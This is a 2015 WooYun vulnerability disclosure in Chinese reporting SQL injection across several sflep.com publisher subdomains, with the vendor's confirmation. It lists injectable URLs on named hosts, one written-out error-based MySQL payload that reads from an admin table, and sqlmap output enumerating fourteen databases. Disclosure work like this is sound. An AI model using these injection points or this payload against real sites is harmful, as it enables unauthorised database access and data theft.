当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143188

漏洞标题：上海外语教育出版社多个分站sql注入打包

相关厂商：sflep.com

漏洞作者： 路人甲

提交时间：2015-09-24 18:30

修复时间：2015-11-09 16:30

公开时间：2015-11-09 16:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-24： 细节已通知厂商并且等待厂商处理中
2015-09-25： 厂商已经确认，细节仅向厂商公开
2015-10-05： 细节向核心白帽子及相关领域专家公开
2015-10-15： 细节向普通白帽子公开
2015-10-25： 细节向实习白帽子公开
2015-11-09： 细节向公众公开

简要描述：

上海外语教育出版社多个分站sql注入打包

详细说明：

https://nfltc.sflep.com:443/index.php?Itemid=10&torscatid=2&option=com_rubberdoc&view=list
https://ad.sflep.com:443/index.php?Itemid=10&limitstart=30&torscatid=1&option=com_rubberdoc&view=list
https://m.sflep.com:443/index.php?Itemid=10&limitstart=30&torscatid=1&option=com_rubberdoc&view=list
https://hee.sflep.com:443/index.php?Itemid=10&limitstart=10&torscatid=2&option=com_rubberdoc&view=list
https://service.sflep.com:443/index.php?Itemid=10&torscatid=2&option=com_rubberdoc&view=list
https://sbs.sflep.com:443/teacherInfo.php?tid=95
https://sbs.sflep.com:443/articleList.php?classid=6
https://sbs.sflep.com:443/commendList.php?tid=1
https://sbs.sflep.com:443/schoolInfo.php?action=introduce&sid=66
https://sbs.sflep.com:443/resourceList.php?action=show&rid=158
https://sbs.sflep.com:443/newsList.php?classid=1
https://sbs.sflep.com:443/newsList2.php?classid=7
https://sbs.sflep.com:443/commendInfo.php?cid=6
https://sbs.sflep.com:443/articleList.php?classid=6
http://202.136.214.195:8082/register.aspx?action=checkInviteCode&code=angelina
http://nfltc.sflep.com//plus/search.php?keyword=as&typeArr[111%3D@`\\%27`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+sha1(717)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\\%27`+]=a

漏洞证明：

[14:19:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.11, Nginx
back-end DBMS: MySQL 5.0.11
[14:19:04] [INFO] fetching database names
[14:19:04] [INFO] fetching number of databases
[14:19:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:19:04] [INFO] retrieved: 14
[14:19:14] [INFO] retrieved: information_schema
[14:20:37] [INFO] retrieved: cas
[14:20:52] [INFO] retrieved: hee
[14:21:07] [INFO] retrieved: hfcc
[14:21:31] [INFO] retrieved: mysql
[14:21:53] [INFO] retrieved: pas_test
[14:22:27] [INFO] retrieved: sbs
[14:22:41] [INFO] retrieved: sflep
[14:23:03] [INFO] retrieved: sflep_bbs
[14:23:43] [INFO] retrieved: sflep_ec
[14:24:18] [INFO] retrieved: sflep_hee
[14:24:59] [INFO] retrieved: sflep_pas
[14:25:38] [INFO] retrieved: sflep_www
[14:26:16] [INFO] retrieved: test
available databases [14]:
[*] cas
[*] hee
[*] hfcc
[*] information_schema
[*] mysql
[*] pas_test
[*] sbs
[*] sflep
[*] sflep_bbs
[*] sflep_ec
[*] sflep_hee
[*] sflep_pas
[*] sflep_www
[*] test

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-09-25 16:29

厂商回复：

感谢指出漏洞

最新状态：

暂无